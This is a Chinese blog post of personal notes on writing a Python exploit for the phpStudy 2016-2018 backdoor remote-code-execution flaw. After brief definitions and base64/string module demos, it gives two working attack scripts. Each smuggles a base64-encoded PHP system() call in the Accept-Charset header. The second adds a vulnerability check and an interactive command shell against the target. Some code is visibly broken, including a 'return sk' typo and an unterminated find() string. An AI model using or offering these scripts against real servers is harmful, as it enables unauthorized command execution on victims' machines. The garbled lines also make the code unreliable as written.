• python 编写 phpstudy_2016 EXP 漏洞利用脚本之RCE


    注:个人笔记,非常简陋,仅供参考。

    名词解释
    POC
    (Proof of Concept)
    漏洞验证代码,验证漏洞的存在性。
    EXP
    (Exploit)
    渗透、攻击;
    完整的漏洞利用工具
    RCE (Remote Code|Command Execute)* 漏洞的类型
    * 在远程目标上执行代码或命令

    手工验证漏洞的问题:

    • 效率
    • 准确性

    针对RCE 漏洞开发EXP,常见的RCE 漏洞:

    • phpstudy_2016-2018_rce
    • seacms_6.26-6.28_rce
    • sangfor_edr_3.2.19_rce

    考虑将写好的EXP 集成到pocsuite3 框架中。

    常见模块介绍

    base64

    base64 模块就是用来进行base64 编解码操作的模块。

    base64 编码

    直接利用模块中函数即可,注意使用二进制形式进行编码。

    >>> import base64
    >>> s = '''system("whoami");'''
    >>> base64.b64encode(s.encode())   #  .encode() 字符串转换成二进制数据
    b'c3lzdGVtKCJ3aG9hbWkiKTs='
    >>> base64.b64encode(s.encode()).decode()
    'c3lzdGVtKCJ3aG9hbWkiKTs='
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    base64 解码

    直接使用函数即可。

    解码不需要转换成二进制

    >>> import base64
    >>> s = "c3lzdGVtKCJ3aG9hbWkiKTs="
    >>> base64.b64decode(s)
    b'system("whoami");'
    >>> base64.b64decode(s).decode()
    'system("whoami");'
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    string

    字符集合模块。

    >>> import string
    >>> string.
    string.Formatter(       string.ascii_uppercase  string.octdigits
    string.Template(        string.capwords(        string.printable
    string.ascii_letters    string.digits           string.punctuation
    string.ascii_lowercase  string.hexdigits        string.whitespace
    >>> string.printable    # 可打印字符
    '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
    >>> string.printable.strip()
    '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    常规EXP 编写

    phpstudy_2016-2018_rce

    漏洞利用脚本

    # phpstudy_2016-2018_rce
    
    """
    GET /phpinfo.php HTTP/1.1
    Host: 10.4.7.130
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
    Accept-Encoding: gzip,deflate
    Accept-Charset: 
    
    
    """
    
    import requests
    import base64
    
    url = "http://10.4.7.130/phpinfo.php"
    
    cmd = "net user"
    
    cmd = f"system('{cmd}');"
    
    cmd = base64.b64encode(cmd.encode()).decode()
    
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }
    
    res = requests.get(url = url, headers = headers)
    
    html = res.content.decode("GBK")  #windows系统对中文的编码就是GBK编码
    
    offset = html.find(")
    
    result = html[0:offset]
    
    print(result)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    进阶脚本

    • 漏洞存在性测试:无损;
    • 循环执行命令。
    # phpstudy_2016-2018_rce
    
    import requests
    import base64
    import sys
    import re
    import random
    import string
    
    banner = """
    PHPStudy_2016-2018
    
        ( )                  ( )        ( )                    
        | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
        | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
        | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
        (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   
    
                                                        - ZS
    Usage: python3 *.py http://10.4.7.130/phpinfo.php
    """
    
    def attack(cmd, url):
        cmd = f'''system("{cmd}");'''
        cmd = base64.b64encode(cmd.encode()).decode()
        headers = {
            "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
            "Accept-Encoding"   : "gzip,deflate",
            "Accept-Charset"    : f"{cmd}"
        }
    
        res = requests.get(url = url, headers = headers)
    
        html = res.content.decode()
        offset = html.find(")
        result = html[0:offset].strip()
    
        return result
    
    def gen_random_str(l):
        s = ""
        for i in range(l):
            i
            s += random.choice(string.ascii_letters)
    
        return sk
    
    def verify(url):
        random_str = gen_random_str(32)
        cmd = f"echo {random_str}"
        if random_str in attack(cmd, url):
            return True
        else:
            return False
    
    if len(sys.argv) < 2:
        print(banner)
        exit()
    
    url = sys.argv[1]
    
    print(f"Target: {url}")
    
    if not verify(url):
        print(f"The Target is NOT VULNERABLE!")
        exit()
    
    flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")
    
    if flag == "n":
        exit()
    
    info = re.findall(r'http://(.*)/', url)[0]
    
    while True:
        cmd = input(f"<{info}> ")
        if cmd == "exit":
            break
        print(attack(cmd, url))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
  • 相关阅读:
    使用Chrome 开发者工具提取对应的字符串
    【Linux系统化学习】进程的父子关系 | fork 进程
    Scala的简单语法介绍
    【深度学习_TensorFlow】卷积神经网络(CNN)
    cnpm install时,报错TypeError: randomUUID is not a function无法初始化
    Python从入门到入土-基本技能
    Redis 底层对 String 的 3 个优化
    c++ ofstream 和ifstream 读写二进制文件的简单操作
    arm gcc 编译器在eclipse中修改堆栈大小
    QTN25-80、QTN25-90、QTN25-100双轴气缸
  • 原文地址:https://blog.csdn.net/2301_79118231/article/details/134275858